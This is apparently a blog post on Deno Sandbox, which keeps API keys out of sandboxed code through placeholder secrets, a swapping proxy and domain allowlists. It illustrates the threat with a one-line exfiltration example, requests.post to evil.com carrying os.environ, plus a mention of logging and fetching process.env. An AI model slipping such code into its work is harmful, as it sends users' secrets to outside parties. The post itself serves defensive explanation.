Picture this: you spent three months building an AI agent to automate your workflow. You hand it your OpenAI API key, your Stripe API key, all your secrets. Then one morning you wake up to a bill that looks like a phone number — because some LLM-generated code inside your agent quietly shipped your keys to a server you’ve never heard of.

Sound dramatic? Here’s the thing — this kind of stuff is actually happening right now.

Simon Willison recently wrote about the Deno team’s answer to this problem: Deno Sandbox. And the core idea, in one sentence, is — your API key never exists inside the sandbox at all ╰(°▽°)⁠╯

First, the hardware: surprisingly generous

Deno Sandbox runs on Deno Deploy and gives you decent specs: 4GB RAM, 2 vCPUs, 10GB ephemeral storage, plus support for persistent volumes and custom image snapshots. Sessions last up to 30 minutes, billed separately by CPU time, memory, and storage.

Honestly, some university lab machines wish they had this setup.

Clawd Clawd 忍不住說：

The 30-minute limit is quietly brilliant. Think about it — without a time cap, someone would absolutely spin up a crypto miner and let it run for three days straight. Then Deno’s server bill would cost more than whatever they mined (╯°□°)⁠╯ This isn’t about trust. It’s about human nature.

Not just Deno — Python works too

Despite the name, Deno Sandbox doesn’t care what language you use. You can interact with it through a Python library (deno-sandbox) or a JavaScript client — no need to install Deno at all. It’s like walking into a restaurant called “Tony’s Pizza” and finding out they also serve sushi, tacos, and bubble tea. The name is the name. The menu is the menu.

Clawd Clawd 溫馨提示：

This naming strategy is actually clever. Lead with the Deno brand to hook existing users, but offer Python and JS SDKs because the real target is the entire “safe AI agent execution” market, not just the Deno ecosystem. Ambitious (¬‿¬)

Now for the main act: the counterfeit money trick

This is the real star of the show — and the reason Simon wrote about it.

How do traditional sandboxes handle API keys? They stuff them into environment variables and pray the sandbox isolation holds up. But here’s the problem: code inside the sandbox can always do console.log(process.env.API_KEY) to print your key, then fetch() it to the outside world. No matter how strong your sandbox walls are, the secret is still inside.

Deno takes a completely different approach. Your API key never appears inside the sandbox. Period. What the sandbox sees instead is something like:

DENO_SECRET_PLACEHOLDER_b14043a2f578cba...

A meaningless placeholder string. Even if code exfiltrates it, whoever receives it just gets a bunch of gibberish to stare at.

So where’s the real API key? At the proxy layer. When sandbox code tries to call https://api.openai.com, Deno’s proxy intercepts the request, swaps the placeholder with the real key, and forwards it. The real key lives and dies at the proxy — it never touches the sandbox.

Clawd Clawd OS：

I call this the “arcade token trick” (◕‿◕)

You know those arcades where you buy tokens with real money, then use the tokens to play games? The tokens are worthless outside the arcade. If a pickpocket steals your tokens, cool — they’re just shiny discs of nothing outside those doors.

Traditional sandboxes are “lock you in a room, but leave a suitcase of cash inside.” Deno’s approach is “the room only has arcade tokens; the real cash is in a vault at the front desk and only appears for one second when you check out.”

Simon also mentions Fly.io’s tokenizer project uses a similar pattern. Looks like the “counterfeit money school” of sandbox security is officially becoming a thing.

Allowlists: even the exit doors are guarded

When you create a sandbox, you get fine-grained control:

  • Domain allowlist: only the API endpoints you specify are reachable
  • Secret binding: a specific key only works for a specific host (e.g., your OpenAI key only goes to api.openai.com — try sending it anywhere else and the door slams shut)

So even if AI-generated code sneaks in a line like requests.post("https://evil.com", data=os.environ), it can’t even reach evil.com. Can’t grab the secret, can’t phone home. Two locks, double insurance.

Clawd Clawd murmur：

Wait — does this scenario sound familiar?

  1. You ask AI to write code that calls an API
  2. You have no idea if that code has bugs (or is secretly up to no good)
  3. You need a safe place to run it
  4. You don’t want your API keys exposed

This is the problem every AI agent user faces daily in 2026. Claude Code, Cursor, OpenClaw — everyone’s generating code with LLMs and then running it. Without a proper sandbox, none of these tools would dare go anywhere near production.

Simon Willison writing about this now? The timing is so perfect I suspect he owns a time machine ┐(￣ヘ￣)┌

Back to that nightmare scenario

Remember the story from the beginning — the exploding bill, the stolen keys? If you’d been running Deno Sandbox, that malicious code would’ve grabbed nothing but a placeholder string. The request to evil.com would’ve hit the domain allowlist and bounced. Your API key would’ve been sitting quietly in the proxy layer the whole time, never even seen.

The sandbox security space is evolving fast. Deno’s counterfeit money trick might not be the final answer, but the thinking is exactly right — instead of building thicker walls to keep the secret inside, just don’t put the secret inside in the first place.

Sometimes the best protection is making sure the thing worth protecting was never in the room to begin with (⌐■_■)

Further reading: Deno Sandbox docs | Fly tokenizer project